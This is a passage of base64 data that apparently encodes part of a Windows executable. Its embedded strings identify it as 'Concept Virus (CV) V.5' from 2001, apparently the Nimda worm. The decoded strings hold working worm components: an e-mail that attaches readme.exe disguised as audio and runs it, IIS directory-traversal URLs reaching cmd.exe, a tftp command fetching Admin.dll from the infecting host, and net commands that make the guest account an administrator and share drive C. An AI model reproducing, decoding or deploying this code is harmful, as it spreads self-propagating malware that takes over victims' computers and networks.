QQAAXQFHZXRTeXN0ZW1UaW1lAH0ARXhpdFByb2Nlc3MAnQFIZWFwRGVzdHJveQAaAUdldExhc3RF cnJvcgAAmwFIZWFwQ3JlYXRlAADlAldyaXRlUHJpdmF0ZVByb2ZpbGVTdHJpbmdBAABLRVJORUwz Mi5kbGwAAFsBUmVnQ2xvc2VLZXkAewFSZWdRdWVyeVZhbHVlRXhBAAByAVJlZ09wZW5LZXlFeEEA ZwFSZWdFbnVtS2V5RXhBAF8BUmVnQ3JlYXRlS2V5RXhBAGIBUmVnRGVsZXRlS2V5QQBqAVJlZ0Vu dW1WYWx1ZUEAhgFSZWdTZXRWYWx1ZUV4QQAAegFSZWdRdWVyeVZhbHVlQQAAQURWQVBJMzIuZGxs AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AC4AAABTeXN0ZW1cQ3VycmVudENvbnRyb2xTZXRcU2VydmljZXNcVnhEXE1TVENQAE5hbWVTZXJ2 ZXIAAFNZU1RFTVxDdXJyZW50Q29udHJvbFNldFxTZXJ2aWNlc1xUY3BpcFxQYXJhbWV0ZXJzXElu dGVyZmFjZXNcAABTWVNURU1cQ3VycmVudENvbnRyb2xTZXRcU2VydmljZXNcVGNwaXBcUGFyYW1l dGVyc1xJbnRlcmZhY2VzAAAAQ29uY2VwdCBWaXJ1cyhDVikgVi41LCBDb3B5cmlnaHQoQykyMDAx ICBSLlAuQ2hpbmEAAE1JTUUtVmVyc2lvbjogMS4wDQpDb250ZW50LVR5cGU6IG11bHRpcGFydC9y ZWxhdGVkOw0KCXR5cGU9Im11bHRpcGFydC9hbHRlcm5hdGl2ZSI7DQoJYm91bmRhcnk9Ij09PT1f QUJDMTIzNDU2Nzg5MERFRl89PT09Ig0KWC1Qcmlvcml0eTogMw0KWC1NU01haWwtUHJpb3JpdHk6 IE5vcm1hbA0KWC1VbnNlbnQ6IDENCg0KLS09PT09X0FCQzEyMzQ1Njc4OTBERUZfPT09PQ0KQ29u dGVudC1UeXBlOiBtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7DQoJYm91bmRhcnk9Ij09PT1fQUJDMDk4 NzY1NDMyMURFRl89PT09Ig0KDQotLT09PT1fQUJDMDk4NzY1NDMyMURFRl89PT09DQpDb250ZW50 LVR5cGU6IHRleHQvaHRtbDsNCgljaGFyc2V0PSJpc28tODg1OS0xIg0KQ29udGVudC1UcmFuc2Zl ci1FbmNvZGluZzogcXVvdGVkLXByaW50YWJsZQ0KDQoNCjxIVE1MPjxIRUFEPjwvSEVBRD48Qk9E WSBiZ0NvbG9yPTNEI2ZmZmZmZj4NCjxpZnJhbWUgc3JjPTNEY2lkOkVBNERNR0JQOXAgaGVpZ2h0 PTNEMCB3aWR0aD0zRDA+DQo8L2lmcmFtZT48L0JPRFk+PC9IVE1MPg0KLS09PT09X0FCQzA5ODc2 NTQzMjFERUZfPT09PS0tDQoNCi0tPT09PV9BQkMxMjM0NTY3ODkwREVGXz09PT0NCkNvbnRlbnQt VHlwZTogYXVkaW8veC13YXY7DQoJbmFtZT0icmVhZG1lLmV4ZSINCkNvbnRlbnQtVHJhbnNmZXIt RW5jb2Rpbmc6IGJhc2U2NA0KQ29udGVudC1JRDogPEVBNERNR0JQOXA+DQoNCgAAAA0KDQotLT09 PT1fQUJDMTIzNDU2Nzg5MERFRl89PT09DQoNCgAAAABOVUw9AAAAAA0KDQpbcmVuYW1lXQ0KAABc d2luaW5pdC5pbmkAAAAAQzpcAFBlcnNvbmFsAAAAAFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dz XEN1cnJlbnRWZXJzaW9uXEV4cGxvcmVyXFNoZWxsIEZvbGRlcnMAAAAAXAAAAC4uAABcKi4qAAAA AAQAAIACAACARVhQTE9SRVIAAAAAZnNkaHFoZXJ3cWkyMDAxAFNZU1RFTVxDdXJyZW50Q29udHJv bFNldFxTZXJ2aWNlc1xsYW5tYW5zZXJ2ZXJcU2hhcmVzXFNlY3VyaXR5AABzaGFyZSBjJD1jOlwA AAAAdXNlciBndWVzdCAiIgAAAGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnMgZ3Vlc3QgL2FkZAAA AABsb2NhbGdyb3VwIEd1ZXN0cyBndWVzdCAvYWRkAAAAAHVzZXIgZ3Vlc3QgL2FjdGl2ZQAAb3Bl bgAAAAB1c2VyIGd1ZXN0IC9hZGQAbmV0AEhpZGVGaWxlRXh0AFNob3dTdXBlckhpZGRlbgBIaWRk ZW4AAFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEV4cGxvcmVyXEFk dmFuY2VkACVscwBcXCVzAAAAACVsZCAlbGQgJWxkACVsZCAlbGQASW1hZ2UgU3BhY2UgRXhlYyBX cml0ZSBDb3B5AEltYWdlIFNwYWNlIEV4ZWMgUmVhZC9Xcml0ZQBJbWFnZSBTcGFjZSBFeGVjIFJl YWQgT25seQAASW1hZ2UgU3BhY2UgRXhlY3V0YWJsZQAASW1hZ2UgU3BhY2UgV3JpdGUgQ29weQAA SW1hZ2UgU3BhY2UgUmVhZC9Xcml0ZQAASW1hZ2UgU3BhY2UgUmVhZCBPbmx5AAAASW1hZ2UgU3Bh Y2UgTm8gQWNjZXNzAAAATWFwcGVkIFNwYWNlIEV4ZWMgV3JpdGUgQ29weQAAAABNYXBwZWQgU3Bh Y2UgRXhlYyBSZWFkL1dyaXRlAAAAAE1hcHBlZCBTcGFjZSBFeGVjIFJlYWQgT25seQBNYXBwZWQg U3BhY2UgRXhlY3V0YWJsZQBNYXBwZWQgU3BhY2UgV3JpdGUgQ29weQBNYXBwZWQgU3BhY2UgUmVh ZC9Xcml0ZQBNYXBwZWQgU3BhY2UgUmVhZCBPbmx5AABNYXBwZWQgU3BhY2UgTm8gQWNjZXNzAABS ZXNlcnZlZCBTcGFjZSBFeGVjIFdyaXRlIENvcHkAAFJlc2VydmVkIFNwYWNlIEV4ZWMgUmVhZC9X cml0ZQAAUmVzZXJ2ZWQgU3BhY2UgRXhlYyBSZWFkIE9ubHkAAABSZXNlcnZlZCBTcGFjZSBFeGVj dXRhYmxlAAAAUmVzZXJ2ZWQgU3BhY2UgV3JpdGUgQ29weQAAAFJlc2VydmVkIFNwYWNlIFJlYWQv V3JpdGUAAABSZXNlcnZlZCBTcGFjZSBSZWFkIE9ubHkAAAAAUmVzZXJ2ZWQgU3BhY2UgTm8gQWNj ZXNzAAAAAFByb2Nlc3MgQWRkcmVzcyBTcGFjZQAAAEV4ZWMgV3JpdGUgQ29weQBFeGVjIFJlYWQv V3JpdGUARXhlYyBSZWFkIE9ubHkAAEV4ZWN1dGFibGUAAFdyaXRlIENvcHkAAFJlYWQvV3JpdGUA AFJlYWQgT25seQAAAE5vIEFjY2VzcwAAAEltYWdlAAAAVXNlciBQQwBUaHJlYWQgRGV0YWlscwAA SUQgVGhyZWFkAAAAUHJpb3JpdHkgQ3VycmVudAAAAABDb250ZXh0IFN3aXRjaGVzL3NlYwAAAABT dGFydCBBZGRyZXNzAAAAVGhyZWFkAABQYWdlIEZhdWx0cy9zZWMAVmlydHVhbCBCeXRlcyBQZWFr AABWaXJ0dWFsIEJ5dGVzAAAAUHJpdmF0ZSBCeXRlcwAAAElEIFByb2Nlc3MAAEVsYXBzZWQgVGlt ZQAAAABQcmlvcml0eSBCYXNlAAAAV29ya2luZyBTZXQgUGVhawAAAABXb3JraW5nIFNldAAlIFVz ZXIgVGltZQAlIFByaXZpbGVnZWQgVGltZQAAACUgUHJvY2Vzc29yIFRpbWUAAAAAUHJvY2VzcwBD b3VudGVyIDAwOQBzb2Z0d2FyZVxtaWNyb3NvZnRcd2luZG93cyBudFxjdXJyZW50dmVyc2lvblxw ZXJmbGliXDAwOQAAAABDb3VudGVycwAAAABWZXJzaW9uAExhc3QgQ291bnRlcgAAAABzb2Z0d2Fy ZVxtaWNyb3NvZnRcd2luZG93cyBudFxjdXJyZW50dmVyc2lvblxwZXJmbGliAAAAAC9zY3JpcHRz AAAAAC9NU0FEQwAAL2MAAC9kAAAvc2NyaXB0cy8uLiUyNTVjLi4AAC9fdnRpX2Jpbi8uLiUyNTVj Li4vLi4lMjU1Yy4uLy4uJTI1NWMuLgAvX21lbV9iaW4vLi4lMjU1Yy4uLy4uJTI1NWMuLi8uLiUy NTVjLi4AL21zYWRjLy4uJTI1NWMuLi8uLiUyNTVjLi4vLi4lMjU1Yy8uLiVjMSUxYy4uLy4uJWMx JTFjLi4vLi4lYzElMWMuLgAvc2NyaXB0cy8uLiVjMSUxYy4uAC9zY3JpcHRzLy4uJWMwJTJmLi4A L3NjcmlwdHMvLi4lYzAlYWYuLgAvc2NyaXB0cy8uLiVjMSU5Yy4uAC9zY3JpcHRzLy4uJSUzNSU2 My4uAAAAAC9zY3JpcHRzLy4uJSUzNWMuLgAAL3NjcmlwdHMvLi4lMjUlMzUlNjMuLgAAL3Njcmlw dHMvLi4lMjUyZi4uAAAvcm9vdC5leGU/L2MrAAAAL3dpbm50L3N5c3RlbTMyL2NtZC5leGU/L2Mr AG5ldCUlMjB1c2UlJTIwXFwlc1xpcGMkJSUyMCIiJSUyMC91c2VyOiJndWVzdCIAAHRmdHAlJTIw LWklJTIwJXMlJTIwR0VUJSUyMEFkbWluLmRsbCUlMjAAAAAAQWRtaW4uZGxsAAAAYzpcQWRtaW4u ZGxsAAAAAGQ6XEFkbWluLmRsbAAAAABlOlxBZG1pbi5kbGwAAAAADQo8aHRtbD48c2NyaXB0IGxh bmd1YWdlPSJKYXZhU2NyaXB0Ij53aW5kb3cub3BlbigicmVhZG1lLmVtbCIsIG51bGwsICJyZXNp emFibGU9bm8sdG9wPTYwMDAsbGVmdD02MDAwIik8L3NjcmlwdD48L2h0bWw+AAAAAC9BZG1pbi5k bGwAAGRpcgBHRVQgJXMgSFRUUC8xLjANCkhvc3Q6IHd3dw0KQ29ubm5lY3Rpb246IGNsb3NlDQoN CgAAYzoAAHJlYWRtZQAAbWFpbgAAAABpbmRleAAAAGRlZmF1bHQAaHRtbAAAAAAuYXNwAAAAAC5o dG0AAAAAXHJlYWRtZS5lbWwALmV4ZQAAAABtZXAAd2luemlwMzIuZXhlAAAAAHJpY2hlZDIwLmRs bAAAAAAubndzAAAAAC5lbWwAAAAALmRvYwAAAAAgLmV4ZQAAAGRvbnRydW5vbGQAAGlvY3Rsc29j a2V0AGdldGhvc3RieW5hbWUAAABnZXRob3N0bmFtZQBpbmV0X250b2EAAABpbmV0X2FkZHIAAABu dG9obAAAAGh0b25sAAAAbnRvaHMAAABodG9ucwAAAGNsb3Nlc29ja2V0AHNlbGVjdAAAc2VuZHRv AABzZW5kAAAAAHJlY3Zmcm9tAAAAAHJlY3YAAAAAYmluZAAAAABjb25uZWN0AHNvY2tldAAAX19X U0FGRElzU2V0AAAAAFdTQUNsZWFudXAAAFdTQVN0YXJ0dXAAAHdzMl8zMi5kbGwAAE1BUElMb2dv ZmYAAE1BUElTZW5kTWFpbAAAAABNQVBJRnJlZUJ1ZmZlcgAATUFQSVJlYWRNYWlsAAAAAE1BUElG aW5kTmV4dAAAAABNQVBJUmVzb2x2ZU5hbWUATUFQSUxvZ29uAAAATUFQSTMyLkRMTAAAV05ldEFk ZENvbm5lY3Rpb24yQQBXTmV0Q2FuY2VsQ29ubmVjdGlvbjJBAABXTmV0T3BlbkVudW1BAAAAV05l dEVudW1SZXNvdXJjZUEAAABXTmV0Q2xvc2VFbnVtAAAATVBSLkRMTABTaGVsbEV4ZWN1dGVBAAAA U0hFTEwzMi5ETEwAUmVnaXN0ZXJTZXJ2aWNlUHJvY2VzcwAAVmlydHVhbEZyZWVFeAAAAFZpcnR1 YWxRdWVyeUV4AABWaXJ0dWFsQWxsb2NFeAAAVmlydHVhbFByb3RlY3RFeAAAAABDcmVhdGVSZW1v dGVUaHJlYWQAAEhlYXBDb21wYWN0AEhlYXBGcmVlAAAAAEhlYXBBbGxvYwAAAEhlYXBEZXN0cm95 AEhlYXBDcmVhdGUAAEtFUk5FTDMyLkRMTAAAAABTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xD dXJyZW50VmVyc2lvblxBcHAgUGF0aHNcAAAAAFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1 cnJlbnRWZXJzaW9uXEFwcCBQYXRocwBUeXBlAAAAAFJlbWFyawAAWDpcAFNPRlRXQVJFXE1pY3Jv c29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXE5ldHdvcmtcTGFuTWFuXFgkAFBhcm0yZW5jAAAA AFBhcm0xZW5jAAAAAEZsYWdzAAAAUGF0aAAAAABTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xD dXJyZW50VmVyc2lvblxOZXR3b3JrXExhbk1hblwAAABTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93 c1xDdXJyZW50VmVyc2lvblxOZXR3b3JrXExhbk1hbgAAAABTWVNURU1cQ3VycmVudENvbnRyb2xT ZXRcU2VydmljZXNcbGFubWFuc2VydmVyXFNoYXJlcwAAAA0KAABDYWNoZQAAAFNvZnR3YXJlXE1p Y3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEV4cGxvcmVyXE1hcE1haWwAAFFVSVQNCgAA Lg0KAFN1YmplY3Q6IAAAAEZyb206IDwAREFUQQ0KAABSQ1BUIFRPOiA8AAA+DQoATUFJTCBGUk9N OiA8AAAAAEhFTE8gAAAAYWFiYmNjAAAgLWRvbnRydW5vbGQAAAAATlVMTAAAAABccmVhZG1lKi5l eGUAAAAAYWRtaW4uZGxsAAAAcXVzZXJ5OWJub3cAIC1xdXNlcnk5Ym5vdwAAAFxtbWMuZXhlAAAA AFxyaWNoZWQyMC5kbGwAAABib290AAAAAFNoZWxsAAAAZXhwbG9yZXIuZXhlIGxvYWQuZXhlIC1k b250cnVub2xkAAAAXHN5c3RlbS5pbmkAXGxvYWQuZXhlAAAAXFwAAG9jdGV0AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAMAAwAAACgAAIAKAAAAYAAA gA4AAAB4AACAAAAAAAAAAAAEAAAAAAAFAAEAAACQAACAAgAAAKgAAIADAAAAwAAAgAQAAADYAACA BQAAAPAAAIAAAAAAAAAAAAQAAAAAAAEAZgAAAAgBAIAAAAAAAAAAAAQAAAAAAAEAZQAAACABAIAA AAAAAAAAAAQAAAAAAAEABAgAADgBAAAAAAAAAAAAAAQAAAAAAAEABAgAAEgBAAAAAAAAAAAAAAQA AAAAAAEABAgAAFgBAAAAAAAAAAAAAAQAAAAAAAEABAgAAGgBAAAAAAAAAAAAAAQAAAAAAAEABAgA AHgBAAAAAAAAAAAAAAQAAAAAAAEABAgAAIgBAAAAAAAAAAAAAAQAAAAAAAEABAgAAJgBAACo4QAA KAEAAOQEAAAAAAAA0OIAAOgCAADkBAAAAAAAALjlAACoCAAA5AQAAAAAAABg7gAAqA4AAOQEAAAA AAAACP0AADABAADkBAAAAAAAADj+AAABAAAA5AQAAAAAAAA8/gAATAAAAOQEAAAAAAAAKAAAABAA AAAgAAAAAQAEAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACA AICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAB3d3d3d3cAAHiIiIiIhw AMcP+I+IiHAMAAZm+PiIcDxMzMxvj4hwd0zIjMb4iHB3bG///4+IcAeMZmZm+IhwBHhv/Ob/iHAA R4zOb/+HcAAEZmb8+HdwAAcP9m/3AAAABw////cHAAAHAAAAB3AAAAd3d3d3AAAAAAAAAAAAAOAB gADgAQCAyAH//6AB//gAAQAAAAEAgAAB//+AAf/4gAEAAMABAIDgAf//6AH/+OgLAADv5wCA4A8A AP//AAgoAAAAIAAAAEAAAAABAAQAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAA AICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAA AAAAAAAAAAAAAAAAAACIiIiIiIiIiIiIiIgAAAAAh3d3d3d3d3d3d3d4AAAAAI////f3d3d3d3d3 eAAAAACA////d/f3d3d3d3gAAAAAgP////9/f393d3d4AAAEzMD///////f393d3eAAATACMBMZm b////393d3gAAEwAAMZszMZv//f393d4AAjEBExszMzMxv//f3d3eAAIZETGzGZszMxv//d3d3gA CDZMZsb//MzGxv//d3d4AAiMxGxv//9MZub/9/d3eAAIg2xsb/////////9/d3gACHiGbGZmZmZm Zv///3d4AACHhszMzGZu7ub///f3eAAAyHzGZmZmZu7m////d3gAAASHxm///0bu5v////d4AAAM SHxm//Rmfm////93eAAAAMaHZszGbu5v////93gAAAAMZnzMxubm//////94AAAAAMbMzMxub/z/ ///3eAAAAACAZmZmZv/2////d4gAAAAAgP//Zm//YP//93iIAAAAAID///9mZv///3eIiAAAAACA //////////gAAAAAAAAAgP/////////4B3iAAAAAAID/////////+HeIAAAAAACA//////////h4 